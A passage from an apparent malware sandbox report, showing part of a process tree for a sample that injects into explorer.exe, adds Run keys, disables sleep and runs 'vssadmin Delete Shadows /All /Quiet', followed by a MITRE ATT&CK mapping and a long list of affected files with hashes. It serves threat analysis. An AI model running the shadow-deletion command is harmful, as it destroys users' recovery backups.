                                        • C:\Windows\syswow64\explorer.exe
                                          "C:\Windows\syswow64\explorer.exe"
                                          3⤵
                                          • Drops startup file
                                          • Adds Run key to start application
                                          • System Location Discovery: System Language Discovery
                                          • Suspicious behavior: MapViewOfSection
                                          • Suspicious use of WriteProcessMemory
                                          PID:408
                                          • C:\Windows\syswow64\svchost.exe
                                            -k netsvcs
                                            4⤵
                                            • System Location Discovery: System Language Discovery
                                            PID:792
                                          • C:\Windows\syswow64\vssadmin.exe
                                            vssadmin.exe Delete Shadows /All /Quiet
                                            4⤵
                                            • System Location Discovery: System Language Discovery
                                            • Interacts with shadow copies
                                            PID:2148
                                    • C:\Windows\system32\vssvc.exe
                                      C:\Windows\system32\vssvc.exe
                                      1⤵
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:2848
                                    • C:\ProgramData\ejitkpfdxvzt\orpqcnvisucm.exe
                                      C:\ProgramData\ejitkpfdxvzt\orpqcnvisucm.exe
                                      1⤵
                                      • Executes dropped EXE
                                      • Suspicious use of SetThreadContext
                                      PID:2968
                                      • C:\Windows\system32\powercfg.exe
                                        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                        2⤵
                                        • Power Settings
                                        PID:5104
                                      • C:\Windows\system32\powercfg.exe
                                        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                        2⤵
                                        • Power Settings
                                        PID:6352
                                      • C:\Windows\system32\powercfg.exe
                                        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                        2⤵
                                        • Power Settings
                                        PID:2132
                                      • C:\Windows\system32\powercfg.exe
                                        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                        2⤵
                                        • Power Settings
                                        PID:5692
                                      • C:\Windows\system32\conhost.exe
                                        C:\Windows\system32\conhost.exe
                                        2⤵
                                          PID:3404
                                        • C:\Windows\system32\svchost.exe
                                          svchost.exe
                                          2⤵
                                            PID:6380
                                        • C:\Windows\system32\conhost.exe
                                          \??\C:\Windows\system32\conhost.exe "-13494285111204201649-55413328-1494915915-144203460820149884621785723168349259162"
                                          1⤵
                                            PID:7080

                                          Network

                                          MITRE ATT&CK Enterprise v15

                                          Reconnaissance

                                          Resource Development

                                          Initial Access

                                          Execution

                                          Command and Scripting Interpreter

                                          1
                                          T1059

                                          PowerShell

                                          1
                                          T1059.001

                                          System Services

                                          2
                                          T1569

                                          Service Execution

                                          2
                                          T1569.002

                                          Windows Management Instrumentation

                                          1
                                          T1047

                                          Persistence

                                          Boot or Logon Autostart Execution

                                          1
                                          T1547

                                          Registry Run Keys / Startup Folder

                                          1
                                          T1547.001

                                          Create or Modify System Process

                                          3
                                          T1543

                                          Windows Service

                                          3
                                          T1543.003

                                          Power Settings

                                          1
                                          T1653

                                          Pre-OS Boot

                                          1
                                          T1542

                                          Bootkit

                                          1
                                          T1542.003

                                          Privilege Escalation

                                          Boot or Logon Autostart Execution

                                          1
                                          T1547

                                          Registry Run Keys / Startup Folder

                                          1
                                          T1547.001

                                          Create or Modify System Process

                                          3
                                          T1543

                                          Windows Service

                                          3
                                          T1543.003

                                          Defense Evasion

                                          Direct Volume Access

                                          1
                                          T1006

                                          Impair Defenses

                                          3
                                          T1562

                                          Disable or Modify Tools

                                          2
                                          T1562.001

                                          Indicator Removal

                                          2
                                          T1070

                                          File Deletion

                                          2
                                          T1070.004

                                          Modify Registry

                                          5
                                          T1112

                                          Pre-OS Boot

                                          1
                                          T1542

                                          Bootkit

                                          1
                                          T1542.003

                                          Subvert Trust Controls

                                          1
                                          T1553

                                          Install Root Certificate

                                          1
                                          T1553.004

                                          Credential Access

                                          Credentials from Password Stores

                                          2
                                          T1555

                                          Credentials from Web Browsers

                                          1
                                          T1555.003

                                          Windows Credential Manager

                                          1
                                          T1555.004

                                          Unsecured Credentials

                                          3
                                          T1552

                                          Credentials In Files

                                          2
                                          T1552.001

                                          Credentials in Registry

                                          1
                                          T1552.002

                                          Discovery

                                          Browser Information Discovery

                                          1
                                          T1217

                                          Peripheral Device Discovery

                                          1
                                          T1120

                                          Query Registry

                                          2
                                          T1012

                                          System Information Discovery

                                          2
                                          T1082

                                          System Location Discovery

                                          1
                                          T1614

                                          System Language Discovery

                                          1
                                          T1614.001

                                          Lateral Movement

                                          Collection

                                          Data from Local System

                                          3
                                          T1005

                                          Command and Control

                                          Web Service

                                          1
                                          T1102

                                          Exfiltration

                                          Impact

                                          Inhibit System Recovery

                                          2
                                          T1490

                                          Service Stop

                                          1
                                          T1489

                                          Replay Monitor

                                          Loading Replay Monitor...

                                          Downloads

                                          • C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_GB_EURO.txt
                                            Filesize

                                            27KB

                                            MD5

                                            9525282d3fc6b6b9007a2081c0dd415c

                                            SHA1

                                            4712da839fe81bf26833e16c5acaaf57d3064d11

                                            SHA256

                                            511164898e4b18530829e1dbdb04408e9e32280661cca67b00d5485cc198f04e

                                            SHA512

                                            8d27a38cd007fb1740e0cd22ed19fd71f5a7d3d57ca2fcb7dc3f2550cfc488a7d638996f297c2d068e584ced3b7ac3278e8bed4ddbec51b909e5e119dc2b6619

                                            Download Submit
                                          • C:\Program Files (x86)\Microsoft Office\Office14\1033\GRAPH_F_COL.HXK
                                            Filesize

                                            635B

                                            MD5

                                            50a5c7d13265ca076d5f9a5372d404bf

                                            SHA1

                                            2942c2f2c999a16aee34daa393ef1cfab0b849da

                                            SHA256

                                            c750ead13d9282a74909d570d57144445209cb86c5e5172ce668af05f4e67ac5

                                            SHA512

                                            6e87d2d4e2319a989e3f5946b00c36d3114b7a768508c686f776d1e848600841819190e3586bf81a7bccc893c6609f1e678a37eb749a57bdaf315eb7b5a65c7b

                                            Download Submit
                                          • C:\Program Files (x86)\Microsoft Office\Office14\1033\GRAPH_K_COL.HXK
                                            Filesize

                                            634B

                                            MD5

                                            b09434aca71507a2323664d22fa6a551

                                            SHA1

                                            8957d5fbe64384399d0870be556b7a60bd52e499

                                            SHA256

                                            b98e0baf86f57814eb279e13018a27613cd03f5608b420a8bf03402bc0df8520

                                            SHA512

                                            f342bbd3830b38412553c5190b5e9d92fdd596571f22589d34c1edbda9b5f43b60d81872d9abc3fa56845ccb04f13053d064155ba0a567710940f3ea48edb95a

                                            Download Submit
                                          • C:\Program Files (x86)\Microsoft Office\Office14\1033\GrooveForms5\FormsStyles\Biscay\TAB_OFF.GIF
                                            Filesize

                                            862B

                                            MD5

                                            9aa863009ed1490d89ff729d4960f433

                                            SHA1

                                            90480e4deaf7f7b7f09883bcc06dfd96158428ba

                                            SHA256

                                            0ad31bb43955f369b3f50bb985ca24b3b38c61ab60baba18b2be885a6f4018f2

                                            SHA512

                                            f51020e069eb058ab4bc391f76a35414a10e026dad6ffca9b0c6d1b00456037eeeb3d176604d805320e0bf8b4251714c8d6ef9ad60f525997ec39bb9f31e11d3

                                            Download Submit
                                          • C:\Program Files (x86)\Microsoft Office\Office14\1033\GrooveForms5\FormsStyles\Biscay\TAB_ON.GIF
                                            Filesize

                                            743B

                                            MD5

                                            1ff8bbca6297b7fcc27cfe7e2fd36e58

                                            SHA1

                                            f143429a016026d00f1daba5d1b9b0cdea493b2f

                                            SHA256

                                            9ed47ec9024cd614e84ec7ce09a4d7dc34c55d5ec2d1f90bdbffbbff7c259a73

                                            SHA512

                                            fe956edc0ddece83c16b5a0eff3d9a643593d40345172d18e3f24679cf5cdff42f3a19abbf683d8789959643e92e77bcff7c3bcd98c3f5870e6c69be4e52415f

                                            Download Submit
                                          • C:\Program Files (x86)\Microsoft Office\Office14\Bibliography\Style\SIST02.XSL
                                            Filesize

                                            239KB

                                            MD5

                                            34c0f4e6029138322f91b31c605711a8

                                            SHA1

                                            511919c090fb94ac54c2aa7caf140959acf20e6a

                                            SHA256

                                            14152d70c95258208cd98e7acdbe00a88205fcd2ea312b1f180f90452d8059b7

                                            SHA512

                                            f193cce7cafdf29f7914b858c7c77265047e809b841067bf0feb3a8ccafd1430b8351481f1a1fae975f30ed28c77d9cf6ea94b4519d95cb896c4d5823ca693d9

                                            Download Submit
                                          • C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\BG_ADOBE.GIF
                                            Filesize

                                            24KB

                                            MD5

                                            3075a270351ccfa51491e351f24f8442

                                            SHA1

                                            5d63e9c857ca59411d552a3d450254aa14d18afd

                                            SHA256

                                            916ae7d0c3ce8ad43ccdfd517bab166d635c287c8f8040444bda530fcdd8a59b

                                            SHA512

                                            060a0c49cbcb7b223ce23d2aa7300758286d2e3e97d4eb836ca4155a27cfc88aca20ec16254558917dd5411b17fd5faf0a5cbd84ac18db87dfaa8b9723df4eb3

                                            Download Submit
                                          • C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\FormsStyles\BabyBlue\BUTTON.GIF
                                            Filesize

                                            706B

                                            MD5

                                            16d423a5cfd45a1eada6afb47d7aff6d

                                            SHA1

                                            2d23fe9f3ac383c9c53f46cd04b7ef8d7610e3ab

                                            SHA256

                                            a6b16f56a23a540a1c8ee1c593160c0435b18dd7bca10e922af4819f5f72fa77

                                            SHA512

                                            e632bbd8e60fd3f07eaeb7b1675f1a7b964133c76b6353faa24ae1fb2e70203604a27030a254503695f01c6166fd62833eb9156396e0f03658d624313164b627

                                            Download Submit
                                          • C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\FormsStyles\Desert\TAB_OFF.GIF
                                            Filesize

                                            1017B

                                            MD5

                                            574e7af88b24a08aa31e8f5deeb8516f

                                            SHA1

                                            3de29f61cc927a3f9a9047711a7ca37db76cfa72

                                            SHA256

                                            f051347950f3108d401704c8789e339e03381e3af6b929022c060064ffa6fc0f

                                            SHA512

                                            c49da426252472df5d28e0788fb38821947104d9d6779fb909a84a9eb908482b76bb820b1dd7088eac7c4274d21b3a61a7c337709957b7e96e01df4a73177c79

                                            Download Submit
                                          • C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\FormsStyles\Desert\TAB_ON.GIF
                                            Filesize

                                            1KB

                                            MD5

                                            dd380ceece38a079cdcb30e9d223e5f1

                                            SHA1

                                            d330fa5d2064d7252a9c94390b057f90ca4b3294

                                            SHA256

                                            68c2648e512401e00921fbff79fe727d16507da024f1716453c9e879b6ea5681

                                            SHA512

                                            70a146b295dbe4e305a84c948892f74b248bc1c37a0aea5500d82bf3cf6878b310f33212981ce1ea4b92713a6226d26487da224fe7c6e9f92899ae3f58c59ad1

                                            Download Submit
                                          • C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\bg_Casual.gif
                                            Filesize

                                            6KB

                                            MD5

                                            56ab4868ceafb9bbbfa16acb3f6f7916

                                            SHA1

                                            d38b72ea15b5d1c0402af6d429f65d90aef66f14

                                            SHA256

                                            af038ee9540dea7e85ab40737ae3616f24dcbabaae6636bc31a45154f09cc641

                                            SHA512

                                            abd6767737ef2f6a59412f681f1880b2e3698794cd583ce968b0c7c3d3349896a7331dc5e470699970a1effeb024f59961b18a4b3549b46ff1e52824b73e80ac

                                            Download Submit
                                          • C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\bg_Country.gif
                                            Filesize

                                            31KB

                                            MD5

                                            f2a453494e7023ba3cc1a13e03c702e3

                                            SHA1

                                            a38261d540b7115b2c1e96c0f7327d52d6aca150

                                            SHA256

                                            7a31d275b0f30b2218d622960fdc12dd61f9a05ce193d3a99990218fe9d39094

                                            SHA512

                                            885fd55b2771ef166c12e47abf0076e7d444bc0c209497ed468725c724fdd9a1a9e41670fbee2745e39330aeb9f2f09b04c6b2a139030fd732422c2b45a97f7f

                                            Download Submit
                                          • C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\bg_Earthy.gif
                                            Filesize

                                            5KB

                                            MD5

                                            74ae3d50e5d455f10b0fc80b30b25c68

                                            SHA1

                                            8391b059cccfa40e774c14c5c7037e0cd3fdc31c

                                            SHA256

                                            be71574095452d3e8f99fcd639f6f1d55eb03e740008dda536bd4ac9fad7a86a

                                            SHA512

                                            2066b284d77adf55dbe1f8f782a9b4487daab01575751f839a874cfcb6d48e415922eb9eec13c796b25cd8caad0dcad74fc203082b97df78cfbaf396365c3988

                                            Download Submit
                                          • C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\bg_GreenTea.gif
                                            Filesize

                                            22KB

                                            MD5

                                            06f8b7af34711b0c53e61067874657f1

                                            SHA1

                                            cffe9f65ac12409cb935d070ba320b9fc2ce0542

                                            SHA256

                                            4fc0383b8b546499566c9543d08dd2bb525da988aaac0cc80544f427567722a2

                                            SHA512

                                            5bf55c57d4251642509c20a77d93a7d147eeff55cd9784f998ce43f0c8bb9480214cbe359f4f5b35bb05fc2fd2ac3888d67cbcf1f9fd54e5dc9ff4fc0d2cddf3

                                            Download Submit
                                          • C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\bg_Groove.gif
                                            Filesize

                                            627B

                                            MD5

                                            9b0922d7bc628523c141b1fe5430a6ba

                                            SHA1

                                            fa8c50eed0de462db37cc639a900e4948d9d1e7f

                                            SHA256

                                            c8449d0a9de6f576b9495be337e6d8e451cae37429849c8c8b671cf691549dc9

                                            SHA512

                                            9585cedf2f7f516edbcb480c42415ad444e7c81268cee3a88887c2d5cdee685b60f0fdd1acbe5a90cabcb772595865cf9ebd801f6b2e18ee2380a26277ed9dc9

                                            Download Submit
                                          • C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\bg_LightSpirit.gif
                                            Filesize

                                            8KB

                                            MD5

                                            ef41a5d0f07e5724e2b047a0e4109f46

                                            SHA1

                                            1eea70b9a441552209a7aa02f78ead7bc2ab0441

                                            SHA256

                                            fcacc6aa3f64cd8da25ed0eebfe9f9ce22f2d256d77e4394891ac058e1d6316c

                                            SHA512

                                            3c5bdb6e178af6412d60f871b052ef970354a2c841d5c03310b81ce38cba4fca2fb1ce8e5167c0f138670938b4e4b8f0c5d519516f7900aacefc2bb0d08093b0

                                            Download Submit
                                          • C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\bg_OliveGreen.gif
                                            Filesize

                                            15KB

                                            MD5

                                            90eae01037913b5f9622f47889968ece

                                            SHA1

                                            7d054001b13acf83839dc20ac0e07d64392ce887

                                            SHA256

                                            53f789b5cbf6ce508c839d4a2a541056c23e62f92f67467feae0ba8186552d2f

                                            SHA512

                                            a2ed984c511f701dd568ea0369161a4c97552bc64651505454e3069964f6b3cc13f998d2739834cdc3352da81f6f3901cc0a93c4e716a7aa096c989f9d5d1369

                                            Download Submit
                                          • C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\bg_Premium.gif
                                            Filesize

                                            6KB

                                            MD5

                                            7ea008dc779fab46d94f049dbf5ec4e6

                                            SHA1

                                            a6fad002f6dc6fdcf5e774546d43f95a8ec91419

                                            SHA256

                                            2930976dc862bc10092eca339f72e9484dff12d049977c11e046c2889068fbbb

                                            SHA512

                                            e8f542229f65f4e9d872523c1c6af47ff1b484ff34cde13462643ed8dbedffca852a48427a8ce4a8f2dfcb4849d887dcab1df20f19684d7592a92a9271f69ce3

                                            Download Submit
                                          • C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\bg_SlateBlue.gif
                                            Filesize

                                            20KB

                                            MD5

                                            2fdc06b066eedcfe78fefc4d19c172b8

                                            SHA1

                                            b75433e275d5012fd07965fd691a90b95d555b0c

                                            SHA256

                                            e09fdeff6764b35063278e801989c5abaeeff5ebf5580b75fa4d21312789684a

                                            SHA512

                                            ed7c2c970c5dfd59ad78de2c0a61e077afb70c0bbcea707f2cfc264c0bf53c65b2f8c6a78ef5ae41866d7b2fc5319ed76014d4f207d4a7f6dfa4e9c05375317d

                                            Download Submit
                                          • C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\bg_TexturedBlue.gif
                                            Filesize

                                            6KB

                                            MD5

                                            13e680beba0b06832c1eb9e1b9de2541

                                            SHA1

                                            0980ebf88479b9e9d0537dc005707b3218bb919d

                                            SHA256

                                            e6af373241174e948f6b1a0c35f8365daf865cdf3576cbdc550fcd9077a21415

                                            SHA512

                                            543824ffa6fec3606b37586e4416e1b46bf288d29cacab74eb72abe8f99ca7a0fcc9b0037c2eb14e56aec98579e3b47c3e51f6fcb6aa207c3791a0dcd408e5b0

                                            Download Submit
                                          • C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\bg_VelvetRose.gif
                                            Filesize

                                            15KB

                                            MD5

                                            07bade1b0454f95c34b4a536de8c9acf

                                            SHA1

                                            5d39674ed7467e1a65783ead80489b0e8af0f6fc

                                            SHA256

                                            8da7fd3a6e156437294e8425c083c741c5c4a35f1d8a85e4183966c9a6dfb175

                                            SHA512

                                            75fff95f7df076556f2f205f41051317a0c2d40c08d5d3545d9ad1b4a0cb007240e25245ea2aa923c59900709a798608c6c3118a0577255e80edbb1aff8d0db0

                                            Download Submit
                                          • C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\AddToViewArrow.jpg
                                            Filesize

                                            3KB

                                            MD5

                                            b8f7a07cc7bac3c4698fb7ddfc54d3de

                                            SHA1

                                            2d655b47d08d2f761e5d8e5c5a98eb0b95b209b7

                                            SHA256

                                            65cf9589d4f89123cc26bca0d52f162b029d74f5f6f7b54c80bf7768e5cf405a

                                            SHA512

                                            6a1af6c3b926341e90ec881b6f0fff58250d7ddb86402395e31fd8d073710a2a8aa457e5ced5fc3b0e4326052042acf684d2e0be107a1bc895dbccf1a9747273

                                            Download Submit
                                          • C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\AddToViewArrowMask.bmp
                                            Filesize

                                            2KB

                                            MD5

                                            d12615b0bb4a319b32c2cbb6e3781d50

                                            SHA1

                                            b925443dfc2de51f35b87194a83f2f95f71cc81d

                                            SHA256

                                            a1eae0b1c6971d88ae1794206f0a96211db88ed4c345ccfd7b51fb782e545e89

                                            SHA512

                                            6f40a1ef3d60c2ba5ca90205a0510132029b0590727e552f41136154e078cbb718faa6e8aa9d715b267ba858c06b3bb1223b2ec663eca8e92ef5622b07e41fd2

                                            Download Submit
                                          • C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FORM.ICO
                                            Filesize

                                            839B

                                            MD5

                                            6d169bbc8c4b919040661624dc06038d

                                            SHA1

                                            7eeeaa690f95c2de5f9cf8e8700b392dfede90df

                                            SHA256

                                            4f146151353cf72f9fdfb2b895903d2cb191a675d650e79d9c9e3170e634d975

                                            SHA512

                                            654d156c743cd2c9691a5be46a5a5903a4b1a326230171bc0c2a27454b3fc02d70cb16ba889cb2cade35b65437919f6b80a5e0cf775d0a9ec33dc7fba9fc1d74

                                            Download Submit
                                          • C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormToolImages.jpg
                                            Filesize

                                            7KB

                                            MD5

                                            1e433ba4c28551c026547d76eddeb2bc

                                            SHA1

                                            362a3685b7a7f5280e258eef922325b7abee01b9

                                            SHA256

                                            e0df6fca9f4cce03feb13768c7ed7801eabddce36ae5fae5ffca59191c568736

                                            SHA512

                                            f0afae4e688fecdd0637ffe4f477b30b2d6531561fef2129496645119165deac24e8660f050b50c08a740c18be67821b9f4cee5b674df2be93ee9263bba99996

                                            Download Submit
                                          • C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsStyles\BabyBlue\HEADER.GIF
                                            Filesize

                                            776B

                                            MD5

                                            4f28796448274639af44587075619dd6

                                            SHA1

                                            3b7a049e6fc8062c53b465fa02701b422e8a3ef3

                                            SHA256

                                            7d886eb9b1aef3c9cff6197bcb4ecc5e59c7b7269f53e81c333973f03ba5a36c

                                            SHA512

                                            3342997ac2e62bd8de1c717a9d7e959a4d13d44d7678475690b7848f9298a63b7893f771ee12f1fd0010a9bed4fa55a249abaa746fae936e9ab97d874c820e91

                                            Download Submit
                                          • C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsStyles\BrightOrange\background.gif
                                            Filesize

                                            844B

                                            MD5

                                            3461f606bcaf4a6435974a1b53d30307

                                            SHA1

                                            8904239bdb5bc2000a734e8dcca1fa057ce22ef1

                                            SHA256

                                            640b5828ded30fa7323ef63c31118aa07e83b8d172ab52cd37b799f7c39eae6c

                                            SHA512

                                            c7d865d43757c6415a5b501467ddec0074b40d40efb9fe6c56a57dfd6dc79cba40485c393fba1f1d681caeff881a2706e97e2d7aa4dcc3f318605c1c7bd97c47

                                            Download Submit
                                          • C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsStyles\BrightYellow\HEADER.GIF
                                            Filesize

                                            888B

                                            MD5

                                            ff8b014c818e56bdc571bad8482a41c4

                                            SHA1

                                            4ad1a7cd70553edbf923894672d997c9b2ee8b52

                                            SHA256

                                            dd037cf180d1295439231fdbc86bbe30257d6adfc6b5108d3191f7ee540fc828

                                            SHA512

                                            f86d16c769ff8292406eb3e23dacc5de19a1652cb507b6420a0a4bf567e43ab230f07f302084de48d8066dee4159217730c46f79b7762cb7c4d1db9bcf9d5953

                                            Download Submit
                                          • C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsStyles\Desert\HEADER.GIF
                                            Filesize

                                            669B

                                            MD5

                                            f354580b22a7a7377cde87898c777b91

                                            SHA1

                                            759b2816f7412ed5625195411e308a9377187001

                                            SHA256

                                            de3e452b79ebea273b19d535d9f6efcc0250ae6671baa16680e80c896e102cf3

                                            SHA512

                                            a21848753e7a2bd053d63958d6c19e2a5ab5c767d499c6a9a299b779b01558ecaee87709ae75e2aff717ae86f4761bbefb99448219cc720a51697c16e4517c5e

                                            Download Submit
                                          • C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsStyles\GrayCheck\HEADER.GIF
                                            Filesize

                                            961B

                                            MD5

                                            041b1eadc90746896a021316348904a8

                                            SHA1

                                            4c7f423ded231039fb5d381a8664786e01c6439d

                                            SHA256

                                            a64daf38f15fdec06acf822b29edaaf2135410c65dd4ff666e4d74020a0dfb2b

                                            SHA512

                                            e654585c6b78f055af00ec58a69a825516baa1941009686cba915b6a83a8eac85d3e7f17b649d5270cd7be289065d3f198a334e4e336f1fa3444b7b6329906a7

                                            Download Submit
                                          • C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsStyles\Lime\TAB_OFF.GIF
                                            Filesize

                                            983B

                                            MD5

                                            dbfebf289799f4de30bb7a77788156f8

                                            SHA1

                                            435054fd544bc752094e6aeae25a4b0f34e66a38

                                            SHA256

                                            d6cbf2769508cd08ce9b5824e1b420103d856aa0fb5cb4a5d2ab5d0a7dafbc4c

                                            SHA512

                                            76bd86bee0a1a1d090acc33d9b2d4611c9547449fb4d8c9b88113bb3028c4de11d2d13654fd4e1d3aaab9223b52809755a0fee61042821096e78a9dc5591c68a

                                            Download Submit
                                          • C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsStyles\Lime\TAB_ON.GIF
                                            Filesize

                                            788B

                                            MD5

                                            c7625ece28f29cf25b089bda7c3d461f

                                            SHA1

                                            d3ee5ae325a9b09097dba32622015f8e0e3549f5

                                            SHA256

                                            2cc5ed9c05ea2ea92cf6814bf44dacb7ac176233b8afe35774932afd340cf11c

                                            SHA512

                                            06e6bde82cc7c0b1dfdb8404d34279d8b67d064e4299de1167c1737badd5ec52797c2be09b3486e4839659fe7f501c8e46ea66adbe2cf393ac549a1fe6fae8b7

                                            Download Submit
                                          • C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsStyles\Oasis\HEADER.GIF
                                            Filesize

                                            2KB

                                            MD5

                                            d6a933553b0446ea3e3bf779a3940823

                                            SHA1

                                            8c331592cb667cc7ab858df3534ec6296dc1d035

                                            SHA256

                                            60e958b6a10e2cced966f7d34751f67b5c8527334ba229f3658a91ead25f2dd7

                                            SHA512

                                            ef70fe83c5dd5d149747685d22e08d6f1a4c21e9574d4d75bc80b86954950a5f6e988a0fd4beb8fae5af1a9fafee849fecb5c37643baff8f06876fa53f5b1618

                                            Download Submit
                                          • C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsStyles\STS2\HEADER.GIF
                                            Filesize

                                            3KB

                                            MD5

                                            ff6ffe45771582e8d7d9917914c99d7e

                                            SHA1

                                            9d427ca8fd2a37de0389384d220d351574d7219b

                                            SHA256

                                            efe59d4e0c2e461c2adb03e16c826b1801fa45dfd279d2b69a837b9a003eaf0b

                                            SHA512

                                            93a20e2a4249fe06ada13a264428bf4761fd1d8d1a54623f9fce0bcd0ee09b610c617159ce950760ba0d6596674611690f9d90b614dca781574cb6366d4e1cbe

                                            Download Submit
                                          • C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsStyles\STS2\TAB_OFF.GIF
                                            Filesize

                                            983B

                                            MD5

                                            ef19feeb7b59b71bab1e5843c13f2322

                                            SHA1

                                            aa1c766cb81317ae6fd3db31e38fdbba817da505

                                            SHA256

                                            4e9855e4326c6897578774c55fef69eb3435bca79b70eb98c5659daa8517bbda

                                            SHA512

                                            0a6a73a70322db3a00e700e7787789e35fe8b23a41f5def93a96578aab4f96aae8f3c6bd4c307f814d1eed93907a853b4d5c95b8d00f3069e7d109b5d3b4fa9e

                                            Download Submit
                                          • C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsStyles\STS2\TAB_ON.GIF
                                            Filesize

                                            785B

                                            MD5

                                            c98cdbcf3ef3107f7f91d4e1f971f246

                                            SHA1

                                            12158459b72bead8321f24f56ae2e0c4ea0c63c4

                                            SHA256

                                            b4c8fe55ff4c491b39a2cabe18d807ef6656a930ec3651462545e506ba757295

                                            SHA512

                                            a7dc02c46a52cb482d2f039fffa5bf8bbb6f3e27146d9bd197217d5fed3e3f4334bb5f74c4fd920649cc64e97e0f35ffed1b9d59335a5990bfa7658eb3426c59

                                            Download Submit
                                          • C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsStyles\STS2\background.gif
                                            Filesize

                                            754B

                                            MD5

                                            82108c9076c852cc88e25dc160041541

                                            SHA1

                                            92218986abe2b8883cad651e387cf807f867d4b4

                                            SHA256

                                            f389153ce93525d4d530e363ad905badef11fdd3bd21954ead18bdeb403a82f5

                                            SHA512

                                            939d3217540e8c238d687f3121213bcb9e9a6297ea97e1571b3e9a72da202455ba765797380e370ef78b6d778f3596bbe4b8165bb8b17b627a7d20bc1b0d559a

                                            Download Submit
                                          • C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsStyles\Slate\TAB_OFF.GIF
                                            Filesize

                                            885B

                                            MD5

                                            26414d189b24b23882cca538975dbca7

                                            SHA1

                                            8368de8325b8eb5437ad7d51a34986d6b18e54a3

                                            SHA256

                                            9a541215dbda43ec6c54ee26880da62b7a13359aecc821c3d05e58f305ab5a11

                                            SHA512

                                            57892183f14895a4ef5f7df36e6825aae4afaa517ee38d98ce4b5eb8ad75293c34475b91507ac2be99bf470bd8a0a48260453e3cf22726dc76b93bba0d98acf2

                                            Download Submit
                                          • C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsStyles\Slate\TAB_ON.GIF
                                            Filesize

                                            885B

                                            MD5

                                            4a0604fcaddb0cdd15226912093f72ff

                                            SHA1

                                            1f54d19ce7dd531421a282aec4fac6e7a6ae9ace

                                            SHA256

                                            c155fed601b7829f3c206a7c1a18bf64f59a436b775af8456942c43bd7033abd

                                            SHA512

                                            747738372a7ad21252a1817af4ee762f3ce3b78a23b893bcf9bda9a61a5784588a35c9435c03eafd2d034135998916390af77ebde219b36efd37590b52329b6e

                                            Download Submit
                                          • C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsStyles\SoftBlue\background.gif
                                            Filesize

                                            7KB

                                            MD5

                                            a3936626589128f31eb8f4db34c32c96

                                            SHA1

                                            f13a88b4c2cbf25d2a366d51058f329f30540b1d

                                            SHA256

                                            0e84e58f5e18eae484b134a7375b793e68aff360ad4364ff92884e8bec7ab6e4

                                            SHA512

                                            06b23d48338d6186f3a922c087d7a6d9164644c406ce0fdd928f4929b0453f4a7ef9a48317d2e6ea10ee0b04992729adf5b53442f189d327c3ff414c20391576

                                            Download Submit
                                          • C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsStyles\SpringGreen\BUTTON.GIF
                                            Filesize

                                            949B

                                            MD5

                                            bd302c0074298ba8e41aba8c20210ccd

                                            SHA1

                                            c6ddb92e0b88c1491ae4a80e83531d8602ae6031

                                            SHA256

                                            1a02654ffb019f23961459a24bdfa071371f0a24275c91752550012595795a7f

                                            SHA512

                                            39ead573e06d0d5e8d1a5646842092ffceb79ecc83f7600092388f881b6639b4793cc1e33535b5999e7bba958991738760195809669a5d7c29f56f2133491286

                                            Download Submit
                                          • C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsStyles\Swirl\HEADER.GIF
